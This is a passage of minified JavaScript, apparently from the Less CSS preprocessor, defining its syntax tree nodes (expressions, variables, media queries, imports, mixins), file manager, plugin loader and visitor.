"),t.add(this.op),this.isSpaced&&t.add(" "),this.operands[1].genCSS(e,t)},te.prototype.type="Operation";var ie=b,ne=function(e,t){if(this.value=e,this.noSpacing=t,!e)throw new Error("Expression requires an array parameter")};(ne.prototype=new c).accept=function(e){this.value=e.visitArray(this.value)},ne.prototype.eval=function(e){var t,i=e.isMathOn(),n=this.parens&&(e.math!==ie.STRICT_LEGACY||!this.parensInOp),r=!1;return n&&e.inParenthesis(),this.value.length>1?t=new ne(this.value.map((function(t){return t.eval?t.eval(e):t})),this.noSpacing):1===this.value.length?(!this.value[0].parens||this.value[0].parensInOp||e.inCalc||(r=!0),t=this.value[0].eval(e)):t=this,n&&e.outOfParenthesis(),!this.parens||!this.parensInOp||i||r||t instanceof X||(t=new v(t)),t},ne.prototype.genCSS=function(e,t){for(var i=0;i<this.value.length;i++)this.value[i].genCSS(e,t),!this.noSpacing&&i+1<this.value.length&&t.add(" ")},ne.prototype.throwAwayComments=function(){this.value=this.value.filter((function(e){return!(e instanceof U)}))},ne.prototype.type="Expression";var re=function(){function e(e,t,i,n){this.name=e.toLowerCase(),this.index=i,this.context=t,this.currentFileInfo=n,this.func=t.frames[0].functionRegistry.get(this.name)}return e.prototype.isValid=function(){return Boolean(this.func)},e.prototype.call=function(e){var t=this,i=this.func.evalArgs;return!1!==i&&(e=e.map((function(e){return e.eval(t.context)}))),Array.isArray(e)&&(e=e.filter((function(e){return"Comment"!==e.type})).map((function(e){if("Expression"===e.type){var t=e.value.filter((function(e){return"Comment"!==e.type}));return 1===t.length?t[0]:new ne(t)}return e}))),!1===i?this.func.apply(this,a([this.context],e)):this.func.apply(this,e)},e}(),se=function(e,t,i,n){this.name=e,this.args=t,this.calc="calc"===e,this._index=i,this._fileInfo=n};(se.prototype=new c).accept=function(e){this.args&&(this.args=e.visitArray(this.args))},se.prototype.eval=function(e){var t=this,i=e.mathOn;e.mathOn=!this.calc,(this.calc||e.inCalc)&&e.enterCalc();var n,r=function(){(t.calc||e.inCalc)&&e.exitCalc(),e.mathOn=i},s=new re(this.name,e,this.getIndex(),this.fileInfo());if(s.isValid()){try{n=s.call(this.args),r()}catch(e){if(e.hasOwnProperty("line")&&e.hasOwnProperty("column"))throw e;throw{type:e.type||"Runtime",message:"error evaluating function `"+this.name+"`"+(e.message?": "+e.message:""),index:this.getIndex(),filename:this.fileInfo().filename,line:e.lineNumber,column:e.columnNumber}}if(null!=n)return n instanceof c||(n=new L(n&&!0!==n?n.toString():null)),n._index=this._index,n._fileInfo=this._fileInfo,n}var o=this.args.map((function(t){return t.eval(e)}));return r(),new se(this.name,o,this.getIndex(),this.fileInfo())},se.prototype.genCSS=function(e,t){t.add(this.name+"(",this.fileInfo(),this.getIndex());for(var i=0;i<this.args.length;i++)this.args[i].genCSS(e,t),i+1<this.args.length&&t.add(", ");t.add(")")},se.prototype.type="Call";var oe=function(e,t,i){this.name=e,this._index=t,this._fileInfo=i};(oe.prototype=new c).eval=function(e){var t,i=this.name;if(0===i.indexOf("@@")&&(i="@"+new oe(i.slice(1),this.getIndex(),this.fileInfo()).eval(e).value),this.evaluating)throw{type:"Name",message:"Recursive variable definition for "+i,filename:this.fileInfo().filename,index:this.getIndex()};if(this.evaluating=!0,t=this.find(e.frames,(function(t){var n=t.variable(i);if(n){if(n.important)e.importantScope[e.importantScope.length-1].important=n.important;return e.inCalc?new se("_SELF",[n.value]).eval(e):n.value.eval(e)}})))return this.evaluating=!1,t;throw{type:"Name",message:"variable "+i+" is undefined",filename:this.fileInfo().filename,index:this.getIndex()}},oe.prototype.find=function(e,t){for(var i=0,n=void 0;i<e.length;i++)if(n=t.call(e,e[i]))return n;return null},oe.prototype.type="Variable";var ae=function(e,t,i){this.name=e,this._index=t,this._fileInfo=i};(ae.prototype=new c).eval=function(e){var t,i=this.name,n=e.pluginManager.less.visitors.ToCSSVisitor.prototype._mergeRules;if(this.evaluating)throw{type:"Name",message:"Recursive property reference for "+i,filename:this.fileInfo().filename,index:this.getIndex()};if(this.evaluating=!0,t=this.find(e.frames,(function(t){var r,s=t.property(i);if(s){for(var o=0;o<s.length;o++)r=s[o],s[o]=new N(r.name,r.value,r.important,r.merge,r.index,r.currentFileInfo,r.inline,r.variable);if(n(s),(r=s[s.length-1]).important)e.importantScope[e.importantScope.length-1].important=r.important;return r=r.value.eval(e)}})))return this.evaluating=!1,t;throw{type:"Name",message:"Property '"+i+"' is undefined",filename:this.currentFileInfo.filename,index:this.index}},ae.prototype.find=function(e,t){for(var i=0,n=void 0;i<e.length;i++)if(n=t.call(e,e[i]))return n;return null},ae.prototype.type="Property";var le=function(e,t,i){this.key=e,this.op=t,this.value=i};(le.prototype=new c).eval=function(e){return new le(this.key.eval?this.key.eval(e):this.key,this.op,this.value&&this.value.eval?this.value.eval(e):this.value)},le.prototype.genCSS=function(e,t){t.add(this.toCSS(e))},le.prototype.toCSS=function(e){var t=this.key.toCSS?this.key.toCSS(e):this.key;return this.op&&(t+=this.op,t+=this.value.toCSS?this.value.toCSS(e):this.value),"["+t+"]"},le.prototype.type="Attribute";var ue=function(e,t,i,n,r){this.escaped=null==i||i,this.value=t||"",this.quote=e.charAt(0),this._index=n,this._fileInfo=r,this.variableRegex=/@\{([\w-]+)\}/g,this.propRegex=/\$\{([\w-]+)\}/g,this.allowRoot=i};(ue.prototype=new c).genCSS=function(e,t){this.escaped||t.add(this.quote,this.fileInfo(),this.getIndex()),t.add(this.value),this.escaped||t.add(this.quote)},ue.prototype.containsVariables=function(){return this.value.match(this.variableRegex)},ue.prototype.eval=function(e){var t=this,i=this.value;function n(e,t,i){var n=e;do{e=n.toString(),n=e.replace(t,i)}while(e!==n);return n}return i=n(i,this.variableRegex,(function(i,n){var r=new oe("@"+n,t.getIndex(),t.fileInfo()).eval(e,!0);return r instanceof ue?r.value:r.toCSS()})),i=n(i,this.propRegex,(function(i,n){var r=new ae("$"+n,t.getIndex(),t.fileInfo()).eval(e,!0);return r instanceof ue?r.value:r.toCSS()})),new ue(this.quote+i+this.quote,i,this.escaped,this.getIndex(),this.fileInfo())},ue.prototype.compare=function(e){return"Quoted"!==e.type||this.escaped||e.escaped?e.toCSS&&this.toCSS()===e.toCSS()?0:void 0:c.numericCompare(this.value,e.value)},ue.prototype.type="Quoted";var he=function(e,t,i,n){this.value=e,this._index=t,this._fileInfo=i,this.isEvald=n};(he.prototype=new c).accept=function(e){this.value=e.visit(this.value)},he.prototype.genCSS=function(e,t){t.add("url("),this.value.genCSS(e,t),t.add(")")},he.prototype.eval=function(e){var t,i=this.value.eval(e);if(!this.isEvald&&("string"==typeof(t=this.fileInfo()&&this.fileInfo().rootpath)&&"string"==typeof i.value&&e.pathRequiresRewrite(i.value)?(i.quote||(t=t.replace(/[\(\)'"\s]/g,(function(e){return"\\"+e}))),i.value=e.rewritePath(i.value,t)):i.value=e.normalizePath(i.value),e.urlArgs&&!i.value.match(/^\s*data:/))){var n=(-1===i.value.indexOf("?")?"?":"&")+e.urlArgs;-1!==i.value.indexOf("#")?i.value=i.value.replace("#",n+"#"):i.value+=n}return new he(i,this.getIndex(),this.fileInfo(),!0)},he.prototype.type="Url";var ce=function(e,t,i,n,r){this._index=i,this._fileInfo=n;var s=new F([],null,null,this._index,this._fileInfo).createEmptySelectors();this.features=new $(t),this.rules=[new Q(s,e)],this.rules[0].allowImports=!0,this.copyVisibilityInfo(r),this.allowRoot=!0,this.setParent(s,this),this.setParent(this.features,this),this.setParent(this.rules,this)};(ce.prototype=new K).isRulesetLike=function(){return!0},ce.prototype.accept=function(e){this.features&&(this.features=e.visit(this.features)),this.rules&&(this.rules=e.visitArray(this.rules))},ce.prototype.genCSS=function(e,t){t.add("@media ",this._fileInfo,this._index),this.features.genCSS(e,t),this.outputRuleset(e,t,this.rules)},ce.prototype.eval=function(e){e.mediaBlocks||(e.mediaBlocks=[],e.mediaPath=[]);var t=new ce(null,[],this._index,this._fileInfo,this.visibilityInfo());return this.debugInfo&&(this.rules[0].debugInfo=this.debugInfo,t.debugInfo=this.debugInfo),t.features=this.features.eval(e),e.mediaPath.push(t),e.mediaBlocks.push(t),this.rules[0].functionRegistry=e.frames[0].functionRegistry.inherit(),e.frames.unshift(this.rules[0]),t.rules=[this.rules[0].eval(e)],e.frames.shift(),e.mediaPath.pop(),0===e.mediaPath.length?t.evalTop(e):t.evalNested(e)},ce.prototype.evalTop=function(e){var t=this;if(e.mediaBlocks.length>1){var i=new F([],null,null,this.getIndex(),this.fileInfo()).createEmptySelectors();(t=new Q(i,e.mediaBlocks)).multiMedia=!0,t.copyVisibilityInfo(this.visibilityInfo()),this.setParent(t,this)}return delete e.mediaBlocks,delete e.mediaPath,t},ce.prototype.evalNested=function(e){var t,i,n=e.mediaPath.concat([this]);for(t=0;t<n.length;t++)i=n[t].features instanceof $?n[t].features.value:n[t].features,n[t]=Array.isArray(i)?i:[i];return this.features=new $(this.permute(n).map((function(e){for(e=e.map((function(e){return e.toCSS?e:new L(e)})),t=e.length-1;t>0;t--)e.splice(t,0,new L("and"));return new ne(e)}))),this.setParent(this.features,this),new Q([],[])},ce.prototype.permute=function(e){if(0===e.length)return[];if(1===e.length)return e[0];for(var t=[],i=this.permute(e.slice(1)),n=0;n<i.length;n++)for(var r=0;r<e[0].length;r++)t.push([e[0][r]].concat(i[n]));return t},ce.prototype.bubbleSelectors=function(e){e&&(this.rules=[new Q(C(e),[this.rules[0]])],this.setParent(this.rules,this))},ce.prototype.type="Media";var fe=function(e,t,i,n,r,s){if(this.options=i,this._index=n,this._fileInfo=r,this.path=e,this.features=t,this.allowRoot=!0,void 0!==this.options.less||this.options.inline)this.css=!this.options.less||this.options.inline;else{var o=this.getPath();o&&/[#\.\&\?]css([\?;].*)?$/.test(o)&&(this.css=!0)}this.copyVisibilityInfo(s),this.setParent(this.features,this),this.setParent(this.path,this)};(fe.prototype=new c).accept=function(e){this.features&&(this.features=e.visit(this.features)),this.path=e.visit(this.path),this.options.isPlugin||this.options.inline||!this.root||(this.root=e.visit(this.root))},fe.prototype.genCSS=function(e,t){this.css&&void 0===this.path._fileInfo.reference&&(t.add("@import ",this._fileInfo,this._index),this.path.genCSS(e,t),this.features&&(t.add(" "),this.features.genCSS(e,t)),t.add(";"))},fe.prototype.getPath=function(){return this.path instanceof he?this.path.value.value:this.path.value},fe.prototype.isVariableImport=function(){var e=this.path;return e instanceof he&&(e=e.value),!(e instanceof ue)||e.containsVariables()},fe.prototype.evalForImport=function(e){var t=this.path;return t instanceof he&&(t=t.value),new fe(t.eval(e),this.features,this.options,this._index,this._fileInfo,this.visibilityInfo())},fe.prototype.evalPath=function(e){var t=this.path.eval(e),i=this._fileInfo;if(!(t instanceof he)){var n=t.value;i&&n&&e.pathRequiresRewrite(n)?t.value=e.rewritePath(n,i.rootpath):t.value=e.normalizePath(t.value)}return t},fe.prototype.eval=function(e){var t=this.doEval(e);return(this.options.reference||this.blocksVisibility())&&(t.length||0===t.length?t.forEach((function(e){e.addVisibilityBlock()})):t.addVisibilityBlock()),t},fe.prototype.doEval=function(e){var t,i,n=this.features&&this.features.eval(e);if(this.options.isPlugin){if(this.root&&this.root.eval)try{this.root.eval(e)}catch(e){throw e.message="Plugin error during evaluation",new R(e,this.root.imports,this.root.filename)}return(i=e.frames[0]&&e.frames[0].functionRegistry)&&this.root&&this.root.functions&&i.addMultiple(this.root.functions),[]}if(this.skip&&("function"==typeof this.skip&&(this.skip=this.skip()),this.skip))return[];if(this.options.inline){var r=new L(this.root,0,{filename:this.importedFilename,reference:this.path._fileInfo&&this.path._fileInfo.reference},!0,!0);return this.features?new ce([r],this.features.value):[r]}if(this.css){var s=new fe(this.evalPath(e),n,this.options,this._index);if(!s.css&&this.error)throw this.error;return s}return this.root?((t=new Q(null,C(this.root.rules))).evalImports(e),this.features?new ce(t.rules,this.features.value):t.rules):[]},fe.prototype.type="Import";var pe=function(){};(pe.prototype=new c).evaluateJavaScript=function(e,t){var i,n=this,r={};if(!t.javascriptEnabled)throw{message:"Inline JavaScript is not enabled. Is it set in your options?",filename:this.fileInfo().filename,index:this.getIndex()};e=e.replace(/@\{([\w-]+)\}/g,(function(e,i){return n.jsify(new oe("@"+i,n.getIndex(),n.fileInfo()).eval(t))}));try{e=new Function("return ("+e+")")}catch(t){throw{message:"JavaScript evaluation error: "+t.message+" from `"+e+"`",filename:this.fileInfo().filename,index:this.getIndex()}}var s=t.frames[0].variables();for(var o in s)s.hasOwnProperty(o)&&(r[o.slice(1)]={value:s[o].value,toJS:function(){return this.value.eval(t).toCSS()}});try{i=e.call(r)}catch(e){throw{message:"JavaScript evaluation error: '"+e.name+": "+e.message.replace(/["]/g,"'")+"'",filename:this.fileInfo().filename,index:this.getIndex()}}return i},pe.prototype.jsify=function(e){return Array.isArray(e.value)&&e.value.length>1?"["+e.value.map((function(e){return e.toCSS()})).join(", ")+"]":e.toCSS()};var de=function(e,t,i,n){this.escaped=t,this.expression=e,this._index=i,this._fileInfo=n};(de.prototype=new pe).eval=function(e){var t=this.evaluateJavaScript(this.expression,e),i=typeof t;return"number"!==i||isNaN(t)?"string"===i?new ue('"'+t+'"',t,this.escaped,this._index):Array.isArray(t)?new L(t.join(", ")):new L(t):new X(t)},de.prototype.type="JavaScript";var ve=function(e,t){this.key=e,this.value=t};(ve.prototype=new c).accept=function(e){this.value=e.visit(this.value)},ve.prototype.eval=function(e){return this.value.eval?new ve(this.key,this.value.eval(e)):this},ve.prototype.genCSS=function(e,t){t.add(this.key+"="),this.value.genCSS?this.value.genCSS(e,t):t.add(this.value)},ve.prototype.type="Assignment";var me=function(e,t,i,n,r){this.op=e.trim(),this.lvalue=t,this.rvalue=i,this._index=n,this.negate=r};(me.prototype=new c).accept=function(e){this.lvalue=e.visit(this.lvalue),this.rvalue=e.visit(this.rvalue)},me.prototype.eval=function(e){var t=function(e,t,i){switch(e){case"and":return t&&i;case"or":return t||i;default:switch(c.compare(t,i)){case-1:return"<"===e||"=<"===e||"<="===e;case 0:return"="===e||">="===e||"=<"===e||"<="===e;case 1:return">"===e||">="===e;default:return!1}}}(this.op,this.lvalue.eval(e),this.rvalue.eval(e));return this.negate?!t:t},me.prototype.type="Condition";var ge=function(e){this.value=e};(ge.prototype=new c).type="UnicodeDescriptor";var ye=function(e){this.value=e};(ye.prototype=new c).genCSS=function(e,t){t.add("-"),this.value.genCSS(e,t)},ye.prototype.eval=function(e){return e.isMathOn()?new te("*",[new X(-1),this.value]).eval(e):new ye(this.value.eval(e))},ye.prototype.type="Negative";var be=function(e,t,i,n,r){switch(this.selector=e,this.option=t,this.object_id=be.next_id++,this.parent_ids=[this.object_id],this._index=i,this._fileInfo=n,this.copyVisibilityInfo(r),this.allowRoot=!0,t){case"all":this.allowBefore=!0,this.allowAfter=!0;break;default:this.allowBefore=!1,this.allowAfter=!1}this.setParent(this.selector,this)};be.prototype=new c,be.prototype.accept=function(e){this.selector=e.visit(this.selector)},be.prototype.eval=function(e){return new be(this.selector.eval(e),this.option,this.getIndex(),this.fileInfo(),this.visibilityInfo())},be.prototype.clone=function(e){return new be(this.selector,this.option,this.getIndex(),this.fileInfo(),this.visibilityInfo())},be.prototype.findSelfSelectors=function(e){var t,i,n=[];for(t=0;t<e.length;t++)i=e[t].elements,t>0&&i.length&&""===i[0].combinator.value&&(i[0].combinator.value=" "),n=n.concat(e[t].elements);this.selfSelectors=[new F(n)],this.selfSelectors[0].copyVisibilityInfo(this.visibilityInfo())},be.next_id=0,be.prototype.type="Extend";var we=function(e,t,i){this.variable=e,this._index=t,this._fileInfo=i,this.allowRoot=!0};(we.prototype=new c).eval=function(e){var t,i=new oe(this.variable,this.getIndex(),this.fileInfo()).eval(e),n=new R({message:"Could not evaluate variable call "+this.variable});if(!i.ruleset){if(i.rules)t=i;else if(Array.isArray(i))t=new Q("",i);else{if(!Array.isArray(i.value))throw n;t=new Q("",i.value)}i=new Z(t)}if(i.ruleset)return i.callEval(e);throw n},we.prototype.type="VariableCall";var xe=function(e,t,i,n){this.value=e,this.lookups=t,this._index=i,this._fileInfo=n};(xe.prototype=new c).eval=function(e){var t,i,n=this.value.eval(e);for(t=0;t<this.lookups.length;t++){if(i=this.lookups[t],Array.isArray(n)&&(n=new Q([new F],n)),""===i)n=n.lastDeclaration();else if("@"===i.charAt(0)){if("@"===i.charAt(1)&&(i="@"+new oe(i.substr(1)).eval(e).value),n.variables&&(n=n.variable(i)),!n)throw{type:"Name",message:"variable "+i+" not found",filename:this.fileInfo().filename,index:this.getIndex()}}else{if(i="$@"===i.substring(0,2)?"$"+new oe(i.substr(1)).eval(e).value:"$"===i.charAt(0)?i:"$"+i,n.properties&&(n=n.property(i)),!n)throw{type:"Name",message:'property "'+i.substr(1)+'" not found',filename:this.fileInfo().filename,index:this.getIndex()};n=n[n.length-1]}n.value&&(n=n.eval(e).value),n.ruleset&&(n=n.ruleset.eval(e))}return n},xe.prototype.type="NamespaceValue";var Se=function(e,t,i,n,r,s,o){this.name=e||"anonymous mixin",this.selectors=[new F([new y(null,e,!1,this._index,this._fileInfo)])],this.params=t,this.condition=n,this.variadic=r,this.arity=t.length,this.rules=i,this._lookups={};var a=[];this.required=t.reduce((function(e,t){return!t.name||t.name&&!t.value?e+1:(a.push(t.name),e)}),0),this.optionalParameters=a,this.frames=s,this.copyVisibilityInfo(o),this.allowRoot=!0};(Se.prototype=new Q).accept=function(e){this.params&&this.params.length&&(this.params=e.visitArray(this.params)),this.rules=e.visitArray(this.rules),this.condition&&(this.condition=e.visit(this.condition))},Se.prototype.evalParams=function(e,t,i,n){var r,s,o,a,l,u,h,c,f=new Q(null,null),p=C(this.params),d=0;if(t.frames&&t.frames[0]&&t.frames[0].functionRegistry&&(f.functionRegistry=t.frames[0].functionRegistry.inherit()),t=new q.Eval(t,[f].concat(t.frames)),i)for(d=(i=C(i)).length,o=0;o<d;o++)if(u=(s=i[o])&&s.name){for(h=!1,a=0;a<p.length;a++)if(!n[a]&&u===p[a].name){n[a]=s.value.eval(e),f.prependRule(new N(u,s.value.eval(e))),h=!0;break}if(h){i.splice(o,1),o--;continue}throw{type:"Runtime",message:"Named argument for "+this.name+" "+i[o].name+" not found"}}for(c=0,o=0;o<p.length;o++)if(!n[o]){if(s=i&&i[c],u=p[o].name)if(p[o].variadic){for(r=[],a=c;a<d;a++)r.push(i[a].value.eval(e));f.prependRule(new N(u,new ne(r).eval(e)))}else{if(l=s&&s.value)l=Array.isArray(l)?new Z(new Q("",l)):l.eval(e);else{if(!p[o].value)throw{type:"Runtime",message:"wrong number of arguments for "+this.name+" ("+d+" for "+this.arity+")"};l=p[o].value.eval(t),f.resetCache()}f.prependRule(new N(u,l)),n[o]=l}if(p[o].variadic&&i)for(a=c;a<d;a++)n[a]=i[a].value.eval(e);c++}return f},Se.prototype.makeImportant=function(){var e=this.rules?this.rules.map((function(e){return e.makeImportant?e.makeImportant(!0):e})):this.rules;return new Se(this.name,this.params,e,this.condition,this.variadic,this.frames)},Se.prototype.eval=function(e){return new Se(this.name,this.params,this.rules,this.condition,this.variadic,this.frames||C(e.frames))},Se.prototype.evalCall=function(e,t,i){var n,r,s=[],o=this.frames?this.frames.concat(e.frames):e.frames,a=this.evalParams(e,new q.Eval(e,o),t,s);return a.prependRule(new N("@arguments",new ne(s).eval(e))),n=C(this.rules),(r=new Q(null,n)).originalRuleset=this,r=r.eval(new q.Eval(e,[this,a].concat(o))),i&&(r=r.makeImportant()),r},Se.prototype.matchCondition=function(e,t){return!(this.condition&&!this.condition.eval(new q.Eval(t,[this.evalParams(t,new q.Eval(t,this.frames?this.frames.concat(t.frames):t.frames),e,[])].concat(this.frames||[]).concat(t.frames))))},Se.prototype.matchArgs=function(e,t){var i,n=e&&e.length||0,r=this.optionalParameters,s=e?e.reduce((function(e,t){return r.indexOf(t.name)<0?e+1:e}),0):0;if(this.variadic){if(s<this.required-1)return!1}else{if(s<this.required)return!1;if(n>this.params.length)return!1}i=Math.min(s,this.arity);for(var o=0;o<i;o++)if(!this.params[o].name&&!this.params[o].variadic&&e[o].value.eval(t).toCSS()!=this.params[o].value.eval(t).toCSS())return!1;return!0},Se.prototype.type="MixinDefinition",Se.prototype.evalFirst=!0;var Ie=function(e,t,i,n,r){this.selector=new F(e),this.arguments=t||[],this._index=i,this._fileInfo=n,this.important=r,this.allowRoot=!0,this.setParent(this.selector,this)};(Ie.prototype=new c).accept=function(e){this.selector&&(this.selector=e.visit(this.selector)),this.arguments.length&&(this.arguments=e.visitArray(this.arguments))},Ie.prototype.eval=function(e){var t,i,n,r,s,o,a,l,u,h,c,f,p,d,v,m=[],g=[],y=!1,b=[],w=[];function x(t,i){var n,r,s;for(n=0;n<2;n++){for(w[n]=!0,H.value(n),r=0;r<i.length&&w[n];r++)(s=i[r]).matchCondition&&(w[n]=w[n]&&s.matchCondition(null,e));t.matchCondition&&(w[n]=w[n]&&t.matchCondition(m,e))}return w[0]||w[1]?w[0]!=w[1]?w[1]?1:2:0:-1}for(this.selector=this.selector.eval(e),o=0;o<this.arguments.length;o++)if(s=(r=this.arguments[o]).value.eval(e),r.expand&&Array.isArray(s.value))for(s=s.value,a=0;a<s.length;a++)m.push({value:s[a]});else m.push({name:r.name,value:s});for(v=function(t){return t.matchArgs(null,e)},o=0;o<e.frames.length;o++)if((t=e.frames[o].find(this.selector,null,v)).length>0){for(h=!0,a=0;a<t.length;a++){for(i=t[a].rule,n=t[a].path,u=!1,l=0;l<e.frames.length;l++)if(!(i instanceof Se)&&i===(e.frames[l].originalRuleset||e.frames[l])){u=!0;break}u||i.matchArgs(m,e)&&(-1!==(c={mixin:i,group:x(i,n)}).group&&b.push(c),y=!0)}for(H.reset(),p=[0,0,0],a=0;a<b.length;a++)p[b[a].group]++;if(p[0]>0)f=2;else if(f=1,p[1]+p[2]>1)throw{type:"Runtime",message:"Ambiguous use of `default()` found when matching for `"+this.format(m)+"`",index:this.getIndex(),filename:this.fileInfo().filename};for(a=0;a<b.length;a++)if(0===(c=b[a].group)||c===f)try{(i=b[a].mixin)instanceof Se||(d=i.originalRuleset||i,(i=new Se("",[],i.rules,null,!1,null,d.visibilityInfo())).originalRuleset=d);var S=i.evalCall(e,m,this.important).rules;this._setVisibilityToReplacement(S),Array.prototype.push.apply(g,S)}catch(e){throw{message:e.message,index:this.getIndex(),filename:this.fileInfo().filename,stack:e.stack}}if(y)return g}throw h?{type:"Runtime",message:"No matching definition was found for `"+this.format(m)+"`",index:this.getIndex(),filename:this.fileInfo().filename}:{type:"Name",message:this.selector.toCSS().trim()+" is undefined",index:this.getIndex(),filename:this.fileInfo().filename}},Ie.prototype._setVisibilityToReplacement=function(e){var t;if(this.blocksVisibility())for(t=0;t<e.length;t++)e[t].addVisibilityBlock()},Ie.prototype.format=function(e){return this.selector.toCSS().trim()+"("+(e?e.map((function(e){var t="";return e.name&&(t+=e.name+":"),e.value.toCSS?t+=e.value.toCSS():t+="???",t})).join(", "):"")+")"},Ie.prototype.type="MixinCall";var Ce={Node:c,Color:f,AtRule:K,DetachedRuleset:Z,Operation:te,Dimension:X,Unit:Y,Keyword:O,Variable:oe,Property:ae,Ruleset:Q,Element:y,Attribute:le,Combinator:g,Selector:F,Quoted:ue,Expression:ne,Declaration:N,Call:se,URL:he,Import:fe,Comment:U,Anonymous:L,Value:$,JavaScript:de,Assignment:ve,Condition:me,Paren:v,Media:ce,UnicodeDescriptor:ge,Negative:ye,Extend:be,VariableCall:we,NamespaceValue:xe,mixin:{Call:Ie,Definition:Se}},ke={error:function(e){this._fireEvent("error",e)},warn:function(e){this._fireEvent("warn",e)},info:function(e){this._fireEvent("info",e)},debug:function(e){this._fireEvent("debug",e)},addListener:function(e){this._listeners.push(e)},removeListener:function(e){for(var t=0;t<this._listeners.length;t++)if(this._listeners[t]===e)return void this._listeners.splice(t,1)},_fireEvent:function(e,t){for(var i=0;i<this._listeners.length;i++){var n=this._listeners[i][e];n&&n(t)}},_listeners:[]},_e=function(){function e(e,t){this.fileManagers=t||[],e=e||{};for(var i=[],n=i.concat(["encodeBase64","mimeLookup","charsetLookup","getSourceMapGenerator"]),r=0;r<n.length;r++){var s=n[r],o=e[s];o?this[s]=o.bind(e):r<i.length&&this.warn("missing required function in environment - "+s)}}return e.prototype.getFileManager=function(e,t,i,n,r){e||ke.warn("getFileManager called with no filename.. Please report this issue. continuing."),null==t&&ke.warn("getFileManager called with null directory.. Please report this issue. continuing.");var s=this.fileManagers;i.pluginManager&&(s=[].concat(s).concat(i.pluginManager.getFileManagers()));for(var o=s.length-1;o>=0;o--){var a=s[o];if(a[r?"supportsSync":"supports"](e,t,i,n))return a}return null},e.prototype.addFileManager=function(e){this.fileManagers.push(e)},e.prototype.clearFileManagers=function(){this.fileManagers=[]},e}(),Ae=function(){function e(){}return e.prototype.getPath=function(e){var t=e.lastIndexOf("?");return t>0&&(e=e.slice(0,t)),(t=e.lastIndexOf("/"))<0&&(t=e.lastIndexOf("\\")),t<0?"":e.slice(0,t+1)},e.prototype.tryAppendExtension=function(e,t){return/(\.[a-z]*$)|([\?;].*)$/.test(e)?e:e+t},e.prototype.tryAppendLessExtension=function(e){return this.tryAppendExtension(e,".less")},e.prototype.supportsSync=function(){return!1},e.prototype.alwaysMakePathsAbsolute=function(){return!1},e.prototype.isPathAbsolute=function(e){return/^(?:[a-z-]+:|\/|\\|#)/i.test(e)},e.prototype.join=function(e,t){return e?e+t:t},e.prototype.pathDiff=function(e,t){var i,n,r,s,o=this.extractUrlParts(e),a=this.extractUrlParts(t),l="";if(o.hostPart!==a.hostPart)return"";for(n=Math.max(a.directories.length,o.directories.length),i=0;i<n&&a.directories[i]===o.directories[i];i++);for(s=a.directories.slice(i),r=o.directories.slice(i),i=0;i<s.length-1;i++)l+="../";for(i=0;i<r.length-1;i++)l+=r[i]+"/";return l},e.prototype.extractUrlParts=function(e,t){var i,n,r=/^((?:[a-z-]+:)?\/{2}(?:[^\/\?#]*\/)|([\/\\]))?((?:[^\/\\\?#]*[\/\\])*)([^\/\\\?#]*)([#\?].*)?$/i,s=e.match(r),o={},a=[],l=[];if(!s)throw new Error("Could not parse sheet href - '"+e+"'");if(t&&(!s[1]||s[2])){if(!(n=t.match(r)))throw new Error("Could not parse page url - '"+t+"'");s[1]=s[1]||n[1]||"",s[2]||(s[3]=n[3]+s[3])}if(s[3])for(a=s[3].replace(/\\/g,"/").split("/"),i=0;i<a.length;i++)".."===a[i]?l.pop():"."!==a[i]&&l.push(a[i]);return o.hostPart=s[1],o.directories=l,o.rawPath=(s[1]||"")+a.join("/"),o.path=(s[1]||"")+l.join("/"),o.filename=s[4],o.fileUrl=o.path+(s[4]||""),o.url=o.fileUrl+(s[5]||""),o},e}(),Me=function(){function e(){this.require=function(){return null}}return e.prototype.evalPlugin=function(e,t,i,n,r){var s,o,a,l,u,h;l=t.pluginManager,r&&(u="string"==typeof r?r:r.filename);var c=(new this.less.FileManager).extractUrlParts(u).filename;if(u&&(o=l.get(u))){if(h=this.trySetOptions(o,u,c,n))return h;try{o.use&&o.use.call(this.context,o)}catch(e){return e.message=e.message||"Error during @plugin call",new R(e,i,u)}return o}a={exports:{},pluginManager:l,fileInfo:r},s=J.create();try{new Function("module","require","registerPlugin","functions","tree","less","fileInfo",e)(a,this.require(u),(function(e){o=e}),s,this.less.tree,this.less,r)}catch(e){return new R(e,i,u)}if(o||(o=a.exports),(o=this.validatePlugin(o,u,c))instanceof R)return o;if(!o)return new R({message:"Not a valid plugin"},i,u);if(o.imports=i,o.filename=u,(!o.minVersion||this.compareVersion("3.0.0",o.minVersion)<0)&&(h=this.trySetOptions(o,u,c,n)))return h;if(l.addPlugin(o,r.filename,s),o.functions=s.getLocalFunctions(),h=this.trySetOptions(o,u,c,n))return h;try{o.use&&o.use.call(this.context,o)}catch(e){return e.message=e.message||"Error during @plugin call",new R(e,i,u)}return o},e.prototype.trySetOptions=function(e,t,i,n){if(n&&!e.setOptions)return new R({message:"Options have been provided but the plugin "+i+" does not support any options."});try{e.setOptions&&e.setOptions(n)}catch(e){return new R(e)}},e.prototype.validatePlugin=function(e,t,i){return e?("function"==typeof e&&(e=new e),e.minVersion&&this.compareVersion(e.minVersion,this.less.version)<0?new R({message:"Plugin "+i+" requires version "+this.versionToString(e.minVersion)}):e):null},e.prototype.compareVersion=function(e,t){"string"==typeof e&&(e=e.match(/^(\d+)\.?(\d+)?\.?(\d+)?/)).shift();for(var i=0;i<e.length;i++)if(e[i]!==t[i])return parseInt(e[i])>parseInt(t[i])?-1:1;return 0},e.prototype.versionToString=function(e){for(var t="",i=0;i<e.length;i++)t+=(t?".":"")+e[i];return t},e.prototype.printUsage=function(e){for(var t=0;t<e.length;t++){var i=e[t];i.printUsage&&i.printUsage()}},e}(),Pe={visitDeeper:!0},Ee=!1;function Re(e){return e}var Ve=function(){function e(e){this._implementation=e,this._visitInCache={},this._visitOutCache={},Ee||(!function e(t,i){var n,r;for(n in t)switch(typeof(r=t[n])){case"function":r.prototype&&r.prototype.type&&(r.prototype.typeIndex=i++);break;case"object":i=e(r,i)}return i}(Ce,1),Ee=!0)}return e.prototype.visit=function(e){if(!e)return e;var t=e.typeIndex;if(!t)return e.value&&e.value.typeIndex&&this.visit(e.value),e;var i,n=this._implementation,r=this._visitInCache[t],s=this._visitOutCache[t],o=Pe;if(o.visitDeeper=!0,r||(r=n[i="visit"+e.type]||Re,s=n[i+"Out"]||Re,this._visitInCache[t]=r,this._visitOutCache[t]=s),r!==Re){var a=r.call(n,e,o);e&&n.isReplacing&&(e=a)}if(o.visitDeeper&&e)if(e.length)for(var l=0,u=e.length;l<u;l++)e[l].accept&&e[l].accept(this);else e.accept&&e.accept(this);return s!=Re&&s.call(n,e),e},e.prototype.visitArray=function(e,t){if(!e)return 